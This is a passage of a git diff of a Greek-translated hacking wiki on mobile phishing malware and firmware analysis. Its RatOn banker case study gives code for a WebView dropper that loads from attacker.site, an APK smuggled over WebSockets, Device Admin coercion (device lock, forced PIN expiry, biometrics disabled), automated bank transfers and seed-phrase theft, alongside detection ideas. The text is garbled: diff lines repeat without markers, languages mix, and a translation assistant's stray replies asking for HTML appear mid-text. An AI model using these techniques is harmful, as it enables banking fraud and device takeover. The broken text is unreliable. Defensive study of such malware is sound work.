Οι επιτιθέμενοι παρουσιάζουν μια WebView που δείχνει σε σελίδα του attacker και εισάγουν ένα JavaScript interface που εκθέτει έναν native installer. Ένα πάτημα σε ένα HTML button καλεί native κώδικα που εγκαθιστά ένα δεύτερο στάδιο APK bundled στα assets του dropper και στη συνέχεια το εκκινεί απευθείας.
Τυπική ροή client που παρατηρείται στην πράξη:
```javascript
// Open Socket.IO channel and request payload
const socket = io("wss://<lure-domain>/ws", { transports: ["websocket"] });
socket.emit("startDownload", { app: "com.example.app" });
// Accumulate binary chunks and drive fake Play progress UI
const chunks = [];
socket.on("chunk", (chunk) => chunks.push(chunk));
socket.on("downloadProgress", (p) => updateProgressBar(p));
// Assemble APK clientside and trigger browser save dialog
socket.on("downloadComplete", () => {
const blob = new Blob(chunks, { type: "application/vnd.android.package-archive" });
const url = URL.createObjectURL(blob);
const a = document.createElement("a");
a.href = url; a.download = "app.apk"; a.style.display = "none";
document.body.appendChild(a); a.click();
});
```
Γιατί το παρακάμπτει απλούς ελέγχους:
- Δεν αποκαλύπτεται στατικό APK URL· το payload ανασυντίθεται στη μνήμη από WebSocket frames.
- URL/MIME/extension φίλτρα που μπλοκάρουν άμεσες .apk αποκρίσεις μπορεί να χάσουν δυαδικά δεδομένα που τούνελάρουν μέσω WebSockets/Socket.IO.
- Crawlers και URL sandboxes που δεν εκτελούν WebSockets δεν θα ανακτήσουν το payload.
Ιδέες ανίχνευσης και εντοπισμού:
- Web/network telemetry: σημαδέψτε συνεδρίες WebSocket που μεταφέρουν μεγάλα δυαδικά chunks και ακολουθεί η δημιουργία ενός Blob με MIME application/vnd.android.package-archive και ένα προγραμματικό `<a download>` click. Ψάξτε για client strings όπως socket.emit('startDownload') και για events με ονόματα chunk, downloadProgress, downloadComplete σε scripts σελίδας.
- Play-store spoof heuristics: σε μη-Google domains που σερβίρουν Play-like σελίδες, αναζητήστε Google Play UI strings όπως http.html:"VfPpkd-jY41G-V67aGc", μικτά πρότυπα γλωσσών, και ψεύτικες ροές “verification/progress” που κινούνται από WS events.
- Controls: μπλοκάρετε την παράδοση APK από μη-Google origins· επιβάλετε πολιτικές MIME/extension που περιλαμβάνουν την κίνηση WebSocket· διατηρήστε τα browser safe-download prompts.
Δείτε επίσης WebSocket tradecraft και tooling:
{{#ref}}
../../pentesting-web/websocket-attacks.md
{{#endref}}
## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration μελέτη περίπτωσης RatOn
Η εκστρατεία RatOn banker/RAT (ThreatFabric) είναι ένα συγκεκριμένο παράδειγμα του πώς οι σύγχρονες mobile phishing επιχειρήσεις συνδυάζουν WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), crypto wallet takeover και ακόμη NFC-relay orchestration. Αυτή η ενότητα περιγράφει αφαιρετικά τις τεχνικές που μπορούν να επαναχρησιμοποιηθούν.
### Στάδιο 1: WebView → native install bridge (dropper)
Οι επιτιθέμενοι παρουσιάζουν ένα WebView που δείχνει σε μια σελίδα του επιτιθέμενου και εγχέουν ένα JavaScript interface που εκθέτει έναν native installer. Ένα πάτημα σε ένα HTML button καλεί native code που εγκαθιστά ένα second-stage APK συσκευασμένο στα assets του dropper και στη συνέχεια το εκκινεί κατευθείαν.
Ελάχιστο μοτίβο:
```java
@ -238,23 +279,23 @@ wv.loadUrl("https://attacker.site/install.html");
}
}
```
Δεν παρείχατε το HTML. Παρακαλώ επικολλήστε το περιεχόμενο της σελίδας (HTML/markdown) που θέλετε να μεταφραστεί στα Ελληνικά και θα το μεταφράσω διατηρώντας ανέπαφα τα tags, συνδέσμους, paths και markdown όπως ζητήθηκε.
I don't see the HTML/markdown content to translate. Please paste the HTML or markdown from src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md (or the page content) and I'll translate the English text to Greek, preserving all code, tags, links, paths and markdown/html syntax per your instructions.
```html
<button onclick="bridge.installApk()">Install</button>
```
Μετά την εγκατάσταση, το dropper εκκινεί το payload μέσω explicit package/activity:
Μετά την εγκατάσταση, ο dropper ξεκινάει το payload μέσω explicit package/activity:
```java
Intent i = new Intent();
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
startActivity(i);
```
Ιδέα ανίχνευσης: μη αξιόπιστες εφαρμογές που καλούν `addJavascriptInterface()` και εκθέτουν μεθόδους τύπου installer στο WebView; APK που μεταφέρει ενσωματωμένο δευτερεύον payload κάτω από το `assets/` και καλεί την Package Installer Session API.
Ιδέα ανίχνευσης: μη αξιόπιστες εφαρμογές που καλούν `addJavascriptInterface()` και εκθέτουν μεθόδους τύπου installer στο WebView· APK που παραδίδει ενσωματωμένο δευτερεύον payload κάτω από το `assets/` και καλεί την Package Installer Session API.
### Διαδρομή συναίνεσης: Accessibility + Device Admin + follow-on runtime prompts
Το Stage-2 ανοίγει ένα WebView που φιλοξενεί μια σελίδα “Access”. Το κουμπί της καλεί μια exported μέθοδο που πλοηγεί το θύμα στις ρυθμίσεις Accessibility και ζητά την ενεργοποίηση της rogue υπηρεσίας. Μόλις δοθεί, το malware χρησιμοποιεί το Accessibility για να πατήσει αυτόματα μέσα από τους επόμενους διαλόγους runtime permission (contacts, overlay, manage system settings, κ.λπ.) και να ζητήσει Device Admin.
### Διαδικασία συναίνεσης: Accessibility + Device Admin + επακόλουθες runtime προτροπές
Stage-2 ανοίγει ένα WebView που φιλοξενεί μια σελίδα «Access». Το κουμπί της καλεί μια εξαγόμενη μέθοδο που πλοηγεί το θύμα στις ρυθμίσεις Accessibility και ζητά την ενεργοποίηση της rogue υπηρεσίας. Μόλις δοθεί, το malware χρησιμοποιεί Accessibility για να κάνει αυτόματα κλικ μέσα από τις επακόλουθες διαλόγους runtime permissions (contacts, overlay, manage system settings, κ.λπ.) και να ζητήσει Device Admin.
- Το Accessibility προγραμματιστικά βοηθά στην αποδοχή μετέπειτα προτροπών εντοπίζοντας κουμπιά όπως “Allow”/“OK” στο node-tree και αποστέλλοντας κλικ.
- Έλεγχος/αίτηση για overlay permission:
- Η Accessibility προγραμματιστικά βοηθά στην αποδοχή των επόμενων προτροπών εντοπίζοντας κουμπιά όπως “Allow”/“OK” στο node-tree και εκτελώντας κλικ.
- Έλεγχος/αίτηση overlay permission:
```java
if (!Settings.canDrawOverlays(ctx)) {
Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
@ -270,19 +311,19 @@ ctx.startActivity(i);
### Overlay phishing/ransom via WebView
Οι χειριστές μπορούν να εκδώσουν εντολές για:
- εμφανίσουν ένα overlay πλήρους οθόνης από ένα URL, ή
- περάσουν inline HTML που φορτώνεται σε overlay WebView.
- να προβάλλουν ένα full-screen overlay από ένα URL, ή
- να περάσουν inline HTML που φορτώνεται σε WebView overlay.
Πιθανοί τρόποι χρήσης: coercion (εισαγωγή PIN), άνοιγμα wallet για την καταγραφή PINs, μηνύματα εκβίασης. Κρατήστε μια εντολή για να εξασφαλίσετε ότι η άδεια overlay είναι χορηγημένη αν λείπει.
Πιθανές χρήσεις: coercion (PIN entry), άνοιγμα wallet για καταγραφή PINs, ransom messaging. Διατήρησε μια εντολή για να εξασφαλίζει ότι το overlay permission έχει δοθεί αν λείπει.
### Remote control model text pseudo-screen + screen-cast
- Low-bandwidth: περιοδικά εξάγετε το Accessibility node tree, σειριοποιήστε τα ορατά κείμενα/ρόλους/όρια και στείλτε στο C2 ως pseudo-screen (εντολές όπως `txt_screen` μία φορά και `screen_live` συνεχώς).
- High-fidelity: ζητήστε MediaProjection και ξεκινήστε screen-casting/recording κατ’ απαίτηση (εντολές όπως `display` / `record`).
### Μοντέλο απομακρυσμένου ελέγχου text pseudo-screen + screen-cast
- Χαμηλό bandwidth: περιοδικά εξάγουν το Accessibility node tree, σειριοποιούν τα ορατά texts/roles/bounds και τα στέλνουν στο C2 ως pseudo-screen (εντολές όπως `txt_screen` μία φορά και `screen_live` συνεχώς).
- Υψηλή πιστότητα: ζητήστε MediaProjection και ξεκινήστε screen-casting/recording κατ' απαίτηση (εντολές όπως `display` / `record`).
### ATS playbook (αυτοματισμός εφαρμογής τράπεζας)
Δεδομένου ενός JSON task, ανοίξτε την εφαρμογή τράπεζας, χειριστείτε το UI μέσω Accessibility με έναν συνδυασμό ερωτημάτων κειμένου και taps σε συντεταγμένες, και εισάγετε το payment PIN του θύματος όταν ζητηθεί.
### ATS playbook (αυτοματισμός bank app)
Δεδομένου ενός JSON task, ανοίξτε την bank app, οδηγήστε το UI μέσω Accessibility με συνδυασμό text queries και taps σε συντεταγμένες, και εισάγετε το payment PIN του θύματος όταν ζητηθεί.
Παράδειγμα εργασίας:
Παράδειγμα task:
```json
{
"cmd": "transfer",
@ -296,43 +337,43 @@ Example texts seen in one target flow (CZ → EN):
- "Nová platba" → "Νέα πληρωμή"
- "Zadat platbu" → "Εισαγωγή πληρωμής"
- "Nový příjemce" → "Νέος παραλήπτης"
- "Domácí číslo účtu" → "Αριθμός εγχώριου λογαριασμού"
- "Domácí číslo účtu" → "Εγχώριος αριθμός λογαριασμού"
- "Další" → "Επόμενο"
- "Odeslat" → "Αποστολή"
- "Ano, pokračovat" → "Ναι, συνέχισε"
- "Zaplatit" → "Πληρωμή"
- "Ano, pokračovat" → "Ναι, συνεχίστε"
- "Zaplatit" → "Πλήρωσε"
- "Hotovo" → "Ολοκληρώθηκε"
Οι χειριστές μπορούν επίσης να ελέγξουν/αυξήσουν τα όρια μεταφοράς μέσω εντολών όπως `check_limit` και `limit` που πλοηγούνται στην limits UI με παρόμοιο τρόπο.
Οι χειριστές μπορούν επίσης να ελέγξουν/αυξήσουν τα όρια μεταφοράς μέσω εντολών όπως `check_limit` και `limit`, οι οποίες πλοηγούνται στην ίδια διεπαφή ορίων (limits UI).
### Crypto wallet seed extraction
Στόχοι όπως οι MetaMask, Trust Wallet, Blockchain.com, Phantom. Ροή: ξεκλείδωμα (κλεμμένο PIN ή παρεχόμενος κωδικός πρόσβασης), μεταβείτε στο Security/Recovery, αποκάλυψη/εμφάνιση seed phrase, keylog/exfiltrate το. Υλοποιήστε locale-aware selectors (EN/RU/CZ/SK) για να σταθεροποιήσετε την πλοήγηση ανάμεσα σε γλώσσες.
Στόχοι όπως MetaMask, Trust Wallet, Blockchain.com, Phantom. Ροή: unlock (κλεμμένο PIN ή παρεχόμενος κωδικός), πλοήγηση στο Security/Recovery, reveal/show seed phrase, keylog/exfiltrate it. Εφαρμόστε selectors ευαίσθητους στο locale (EN/RU/CZ/SK) για να σταθεροποιήσετε την πλοήγηση μεταξύ γλωσσών.
### Device Admin coercion
Τα Device Admin APIs χρησιμοποιούνται για να αυξήσουν τις ευκαιρίες καταγραφής PIN και να δυσκολέψουν το θύμα:
Device Admin APIs χρησιμοποιούνται για να αυξήσουν τις ευκαιρίες καταγραφής του PIN και να δυσχεράνουν/εκνευρίσουν το θύμα:
- Άμεσο κλείδωμα:
```java
dpm.lockNow();
```
- Λήξη του τρέχοντος διαπιστευτηρίου για να επιβληθεί αλλαγή (Accessibility καταγράφει νέο PIN/συνθηματικό):
- Λήξτε το τρέχον διαπιστευτήριο για να αναγκάσετε αλλαγή (Accessibility καταγράφει το νέο PIN/password):
```java
dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
```
- Αναγκάστε μη-biometric ξεκλείδωμα απενεργοποιώντας τα χαρακτηριστικά biometric του keyguard:
- Εξαναγκάστε το ξεκλείδωμα χωρίς βιομετρικά απενεργοποιώντας τις keyguard biometric features:
```java
dpm.setKeyguardDisabledFeatures(admin,
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
```
Σημείωση: Πολλοί έλεγχοι του DevicePolicyManager απαιτούν Device Owner/Profile Owner σε πρόσφατες εκδόσεις Android· ορισμένα builds από OEM μπορεί να είναι επιεική. Πάντα επικυρώνετε στο στοχευόμενο OS/OEM.
Σημείωση: Many DevicePolicyManager controls require Device Owner/Profile Owner on recent Android; some OEM builds may be lax. Always validate on target OS/OEM.
### Ορχήστρωση NFC relay (NFSkate)
Stage-3 μπορεί να εγκαταστήσει και να εκκινήσει ένα εξωτερικό NFC-relay module (π.χ. NFSkate) και ακόμα να του παραδώσει ένα HTML template για να καθοδηγήσει το θύμα κατά τη διάρκεια του relay. Αυτό επιτρέπει contactless card-present cash-out παράλληλα με online ATS.
### NFC relay orchestration (NFSkate)
Το Stage-3 μπορεί να εγκαταστήσει και να εκτελέσει ένα εξωτερικό NFC-relay module (π.χ., NFSkate) και ακόμα να του παραδώσει ένα HTML template για να καθοδηγήσει το θύμα κατά τη διάρκεια του relay. Αυτό επιτρέπει contactless card-present cash-out παράλληλα με online ATS.
Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
### Σετ εντολών operator (παράδειγμα)
### Operator command set (sample)
- UI/state: `txt_screen`, `screen_live`, `display`, `record`
- Social: `send_push`, `Facebook`, `WhatsApp`
- Overlays: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint`
@ -343,12 +384,12 @@ Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new
- NFC: `nfs`, `nfs_inject`
### Ιδέες ανίχνευσης & άμυνας (RatOn-style)
- Εντοπίστε WebViews με `addJavascriptInterface()` που εκθέτουν installer/permission methods· σελίδες που τελειώνουν σε “/access” και προκαλούν Accessibility prompts.
- Ειδοποίηση για apps που δημιουργούν υψηλό ρυθμό Accessibility gestures/clicks λίγο μετά τη χορήγηση πρόσβασης στην υπηρεσία· telemetry που μοιάζει με Accessibility node dumps αποστελλόμενα στο C2.
- Παρακολουθήστε αλλαγές πολιτικής Device Admin σε μη έμπιστες εφαρμογές: `lockNow`, password expiration, keyguard feature toggles.
- Ειδοποίηση για MediaProjection prompts από μη εταιρικές εφαρμογές ακολουθούμενα από περιοδικές frame uploads.
- Αναζητήστε WebViews με `addJavascriptInterface()` που εκθέτουν installer/permission methods· σελίδες που τελειώνουν σε “/access” και ενεργοποιούν Accessibility prompts.
- Ειδοποιήστε για apps που παράγουν υψηλό ρυθμό Accessibility gestures/clicks λίγο μετά την παραχώρηση πρόσβασης σε service; τηλεμετρία που μοιάζει με Accessibility node dumps αποστέλλεται σε C2.
- Παρακολουθήστε αλλαγές πολιτικών Device Admin σε μη αξιόπιστες εφαρμογές: `lockNow`, password expiration, keyguard feature toggles.
- Ειδοποιήστε για MediaProjection prompts από μη-corporate apps ακολουθούμενα από περιοδικά uploads καρέ.
- Εντοπίστε εγκατάσταση/εκκίνηση εξωτερικής NFC-relay app που ενεργοποιείται από άλλη εφαρμογή.
- Για τραπεζικές εφαρμογές: επιβάλλετε out-of-band confirmations, biometrics-binding και transaction-limits ανθεκτικά σε on-device automation.
- Για τραπεζικές εφαρμογές: επιβάλετε out-of-band confirmations, biometrics-binding, και transaction-limits ανθεκτικά στην on-device αυτοματοποίηση.
## Αναφορές
@ -358,5 +399,8 @@ Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
- [GhostTap/NFSkate NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
- [Banker Trojan Targeting Indonesian and Vietnamese Android Users (DomainTools)](https://dti.domaintools.com/banker-trojan-targeting-indonesian-and-vietnamese-android-users/)
- [DomainTools SecuritySnacks ID/VN Banker Trojans (IOCs)](https://github.com/DomainTools/SecuritySnacks/blob/main/2025/BankerTrojan-ID-VN)
- [Socket.IO](https://socket.io)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,4 +1,4 @@
# Ανάλυση Firmware
# Firmware Analysis
{{#include ../../banners/hacktricks-training.md}}
@ -6,46 +6,52 @@
### Σχετικοί πόροι
{{#ref}}
synology-encrypted-archive-decryption.md
{{#endref}}
Το firmware είναι το βασικό λογισμικό που επιτρέπει στις συσκευές να λειτουργούν σωστά, διαχειριζόμενο και διευκολύνοντας την επικοινωνία μεταξύ των υλικών στοιχείων και του λογισμικού με το οποίο αλληλεπιδρούν οι χρήστες. Αποθηκεύεται σε μόνιμη μνήμη, διασφαλίζοντας ότι η συσκευή μπορεί να έχει πρόσβαση σε ζωτικής σημασίας οδηγίες από τη στιγμή που ενεργοποιείται, οδηγώντας στην εκκίνηση του λειτουργικού συστήματος. Η εξέταση και η πιθανή τροποποίηση του firmware είναι ένα κρίσιμο βήμα για την αναγνώριση ευπαθειών ασφαλείας.
{{#ref}}
../../network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md
{{#endref}}
## **Συλλογή Πληροφοριών**
**Η συλλογή πληροφοριών** είναι ένα κρίσιμο αρχικό βήμα για την κατανόηση της σύνθεσης μιας συσκευής και των τεχνολογιών που χρησιμοποιεί. Αυτή η διαδικασία περιλαμβάνει τη συλλογή δεδομένων σχετικά με:
Firmware είναι το απαραίτητο λογισμικό που επιτρέπει στις συσκευές να λειτουργούν σωστά, διαχειριζόμενο και διευκολύνοντας την επικοινωνία μεταξύ των hardware components και του λογισμικού με το οποίο αλληλεπιδρούν οι χρήστες. Αποθηκεύεται σε μόνιμη μνήμη, εξασφαλίζοντας ότι η συσκευή μπορεί να προσπελάσει κρίσιμες οδηγίες από τη στιγμή που θα ενεργοποιηθεί, οδηγώντας στην εκκίνηση του λειτουργικού συστήματος. Η εξέταση και η πιθανή τροποποίηση του firmware είναι ένα κρίσιμο βήμα για τον εντοπισμό ευπαθειών ασφαλείας.
- Την αρχιτεκτονική CPU και το λειτουργικό σύστημα που εκτελεί
- Λεπτομέρειες bootloader
- Διάταξη υλικού και φύλλα δεδομένων
- Μετρήσεις κώδικα και τοποθεσίες πηγής
- Εξωτερικές βιβλιοθήκες και τύπους αδειών
- Ιστορικά ενημερώσεων και ρυθμιστικές πιστοποιήσεις
- Αρχιτεκτονικά και ροογράμματα
- Αξιολογήσεις ασφαλείας και αναγνωρισμένες ευπάθειες
## **Συλλογή πληροφοριών**
Για αυτόν τον σκοπό, τα εργαλεία **ανοιχτής πηγής (OSINT)** είναι ανεκτίμητα, όπως και η ανάλυση οποιωνδήποτε διαθέσιμων ανοιχτών λογισμικών στοιχείων μέσω χειροκίνητων και αυτοματοποιημένων διαδικασιών αναθεώρησης. Εργαλεία όπως το [Coverity Scan](https://scan.coverity.com) και το [Semmles LGTM](https://lgtm.com/#explore) προσφέρουν δωρεάν στατική ανάλυση που μπορεί να αξιοποιηθεί για την εύρεση πιθανών προβλημάτων.
**Συλλογή πληροφοριών** είναι ένα κρίσιμο αρχικό βήμα για την κατανόηση της σύνθεσης μιας συσκευής και των τεχνολογιών που χρησιμοποιεί. Αυτή η διαδικασία περιλαμβάνει τη συλλογή δεδομένων σχετικά με:
- Την CPU architecture και το λειτουργικό σύστημα που τρέχει
- Bootloader specifics
- Το hardware layout και datasheets
- Μετρικά κώδικα και τοποθεσίες του source
- Εξωτερικές βιβλιοθήκες και τύπους license
- Ιστορικά updates και πιστοποιήσεις κανονισμών
- Διαγράμματα αρχιτεκτονικής και ροής
- Αξιολογήσεις ασφαλείας και εντοπισμένες ευπάθειες
Για αυτόν τον σκοπό, εργαλεία **OSINT** είναι ανεκτίμητα, όπως και η ανάλυση οποιωνδήποτε διαθέσιμων open-source software components μέσω χειροκίνητης και αυτοματοποιημένης ανασκόπησης. Εργαλεία όπως [Coverity Scan](https://scan.coverity.com) και [Semmles LGTM](https://lgtm.com/#explore) προσφέρουν δωρεάν static analysis που μπορεί να αξιοποιηθεί για τον εντοπισμό πιθανών προβλημάτων.
## **Απόκτηση του Firmware**
Η απόκτηση του firmware μπορεί να προσεγγιστεί μέσω διαφόρων μέσων, καθένα με το δικό του επίπεδο πολυπλοκότητας:
Η απόκτηση του firmware μπορεί να προσεγγιστεί με διάφορους τρόπους, ο καθένας με το δικό του επίπεδο πολυπλοκότητας:
- **Άμεσα** από την πηγή (προγραμματιστές, κατασκευαστές)
- **Κατασκευάζοντας** το από τις παρεχόμενες οδηγίες
- **Κατεβάζοντας** από επίσημες ιστοσελίδες υποστήριξης
- Χρησιμοποιώντας **Google dork** ερωτήματα για την εύρεση φιλοξενούμενων αρχείων firmware
- Πρόσβαση σε **cloud storage** απευθείας, με εργαλεία όπως το [S3Scanner](https://github.com/sa7mon/S3Scanner)
- Παρεμβολή **ενημερώσεων** μέσω τεχνικών man-in-the-middle
- **Άμεσα** από την πηγή (developers, manufacturers)
- **Χτίζοντάς** το από τις παρεχόμενες οδηγίες
- **Κατεβάζοντάς** το από επίσημους support sites
- Χρησιμοποιώντας **Google dork** queries για την εύρεση hosted firmware files
- Πρόσβαση σε **cloud storage** απευθείας, με εργαλεία όπως [S3Scanner](https://github.com/sa7mon/S3Scanner)
- Παρεμπόδιση **updates** μέσω man-in-the-middle τεχνικών
- **Εξαγωγή** από τη συσκευή μέσω συνδέσεων όπως **UART**, **JTAG**, ή **PICit**
- **Sniffing** για αιτήματα ενημερώσεων εντός της επικοινωνίας της συσκευής
- Αναγνώριση και χρήση **σκληρά κωδικοποιημένων σημείων ενημέρωσης**
- **Sniffing** για update requests μέσα στην επικοινωνία της συσκευής
- Εντοπισμός και χρήση hardcoded update endpoints
- **Dumping** από τον bootloader ή το δίκτυο
- **Αφαίρεση και ανάγνωση** του τσιπ αποθήκευσης, όταν όλα τα άλλα αποτύχουν, χρησιμοποιώντας κατάλληλα εργαλεία υλικού
- **Αφαίρεση και ανάγνωση** του storage chip, όταν όλα τα άλλα αποτύχουν, χρησιμοποιώντας κατάλληλα hardware εργαλεία
## Ανάλυση του firmware
Τώρα που **έχετε το firmware**, πρέπει να εξαγάγετε πληροφορίες σχετικά με αυτό για να ξέρετε πώς να το χειριστείτε. Διάφορα εργαλεία που μπορείτε να χρησιμοποιήσετε για αυτό:
Τώρα που **έχετε το firmware**, χρειάζεται να εξάγετε πληροφορίες γι' αυτό για να γνωρίζετε πώς να το χειριστείτε. Διάφορα εργαλεία που μπορείτε να χρησιμοποιήσετε για αυτό:
```bash
file <bin>
strings -n8 <bin>
@ -54,24 +60,25 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
```
Αν δεν βρείτε πολλά με αυτά τα εργαλεία, ελέγξτε την **εντροπία** της εικόνας με το `binwalk -E <bin>`, αν η εντροπία είναι χαμηλή, τότε είναι απίθανο να είναι κρυπτογραφημένη. Αν η εντροπία είναι υψηλή, είναι πιθανό να είναι κρυπτογραφημένη (ή συμπιεσμένη με κάποιον τρόπο).
If you don't find much with those tools check the **entropy** of the image with `binwalk -E <bin>`, if low entropy, then it's not likely to be encrypted. If high entropy, Its likely encrypted (or compressed in some way).
Moreover, you can use these tools to extract **files embedded inside the firmware**:
Επιπλέον, μπορείτε να χρησιμοποιήσετε αυτά τα εργαλεία για να εξάγετε **αρχεία που είναι ενσωματωμένα μέσα στο firmware**:
{{#ref}}
../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
{{#endref}}
Ή [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) για να επιθεωρήσετε το αρχείο.
Or [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) to inspect the file.
### Λήψη του Συστήματος Αρχείων
### Getting the Filesystem
Με τα προηγούμενα εργαλεία όπως το `binwalk -ev <bin>` θα έπρεπε να έχετε μπορέσει να **εξάγετε το σύστημα αρχείων**.\
Το Binwalk συνήθως το εξάγει μέσα σε ένα **φάκελο που ονομάζεται όπως ο τύπος του συστήματος αρχείων**, ο οποίος συνήθως είναι ένας από τους εξής: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
With the previous commented tools like `binwalk -ev <bin>` you should have been able to **extract the filesystem**.\
Binwalk usually extracts it inside a **folder named as the filesystem type**, which usually is one of the following: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
#### Χειροκίνητη Εξαγωγή Συστήματος Αρχείων
#### Manual Filesystem Extraction
Μερικές φορές, το binwalk δεν θα **έχει το μαγικό byte του συστήματος αρχείων στις υπογραφές του**. Σε αυτές τις περιπτώσεις, χρησιμοποιήστε το binwalk για να **βρείτε την απόσταση του συστήματος αρχείων και να χαράξετε το συμπιεσμένο σύστημα αρχείων** από το δυαδικό και **να εξάγετε χειροκίνητα** το σύστημα αρχείων σύμφωνα με τον τύπο του χρησιμοποιώντας τα παρακάτω βήματα.
Sometimes, binwalk will **not have the magic byte of the filesystem in its signatures**. In these cases, use binwalk to **find the offset of the filesystem and carve the compressed filesystem** from the binary and **manually extract** the filesystem according to its type using the steps below.
```
$ binwalk DIR850L_REVB.bin
@ -83,7 +90,7 @@ DECIMAL HEXADECIMAL DESCRIPTION
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
```
Εκτελέστε την παρακάτω **dd εντολή** για την εξαγωγή του συστήματος αρχείων Squashfs.
Εκτελέστε την ακόλουθη **dd command** για carving του Squashfs filesystem.
```
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
@ -93,17 +100,17 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
```
Εναλλακτικά, η παρακάτω εντολή μπορεί επίσης να εκτελεστεί.
Εναλλακτικά, μπορεί να εκτελεστεί και η παρακάτω εντολή.
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
- Για squashfs (χρησιμοποιούμενο στο παραπάνω παράδειγμα)
- Για squashfs (χρησιμοποιήθηκε στο παραπάνω παράδειγμα)
`$ unsquashfs dir.squashfs`
Τα αρχεία θα βρίσκονται στον φάκελο "`squashfs-root`" μετά.
Τα αρχεία θα βρίσκονται στον κατάλογο `squashfs-root` στη συνέχεια.
- Αρχεία αρχείου CPIO
- Για αρχεία CPIO
`$ cpio -ivd --no-absolute-filenames -F <bin>`
@ -119,11 +126,11 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
## Ανάλυση Firmware
Μόλις αποκτηθεί το firmware, είναι απαραίτητο να το αναλύσουμε για να κατανοήσουμε τη δομή του και τις πιθανές ευπάθειες. Αυτή η διαδικασία περιλαμβάνει τη χρήση διαφόρων εργαλείων για την ανάλυση και την εξαγωγή πολύτιμων δεδομένων από την εικόνα του firmware.
Μόλις αποκτηθεί το firmware, είναι απαραίτητο να το αναλύσουμε για να κατανοήσουμε τη δομή του και τις πιθανές ευπάθειες. Αυτή η διαδικασία περιλαμβάνει τη χρήση διαφόρων εργαλείων για να αναλύσουμε και να εξάγουμε πολύτιμα δεδομένα από το firmware image.
### Εργαλεία Αρχικής Ανάλυσης
### Εργαλεία αρχικής ανάλυσης
Ένα σύνολο εντολών παρέχεται για την αρχική επιθεώρηση του δυαδικού αρχείου (αναφερόμενο ως `<bin>`). Αυτές οι εντολές βοηθούν στην αναγνώριση τύπων αρχείων, στην εξαγωγή συμβολοσειρών, στην ανάλυση δυαδικών δεδομένων και στην κατανόηση των λεπτομερειών του διαμερίσματος και του συστήματος αρχείων:
Παρέχεται ένα σύνολο εντολών για την αρχική επιθεώρηση του δυαδικού αρχείου (αναφερόμενου ως `<bin>`). Οι εντολές αυτές βοηθούν στον εντοπισμό τύπων αρχείων, στην εξαγωγή strings, στην ανάλυση δυαδικών δεδομένων και στην κατανόηση των λεπτομερειών partition και filesystem:
```bash
file <bin>
strings -n8 <bin>
@ -132,141 +139,141 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head #useful for finding signatures in the header
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
```
Για να αξιολογηθεί η κατάσταση κρυπτογράφησης της εικόνας, ελέγχεται η **εντροπία** με το `binwalk -E <bin>`. Χαμηλή εντροπία υποδηλώνει έλλειψη κρυπτογράφησης, ενώ υψηλή εντροπία υποδεικνύει πιθανή κρυπτογράφηση ή συμπίεση.
Για να εκτιμηθεί η κατάσταση κρυπτογράφησης της εικόνας, ελέγχεται η **entropy** με `binwalk -E <bin>`. Χαμηλή entropy υποδηλώνει έλλειψη κρυπτογράφησης, ενώ υψηλή entropy υποδεικνύει πιθανή κρυπτογράφηση ή συμπίεση.
Για την εξαγωγή **ενσωματωμένων αρχείων**, προτείνονται εργαλεία και πόροι όπως η τεκμηρίωση **file-data-carving-recovery-tools** και το **binvis.io** για επιθεώρηση αρχείων.
Για την εξαγωγή των **embedded files**, προτείνονται εργαλεία και πόροι όπως η τεκμηρίωση **file-data-carving-recovery-tools** και το **binvis.io** για επιθεώρηση αρχείων.
### Εξαγωγή του Συστήματος Αρχείων
### Εξαγωγή του filesystem
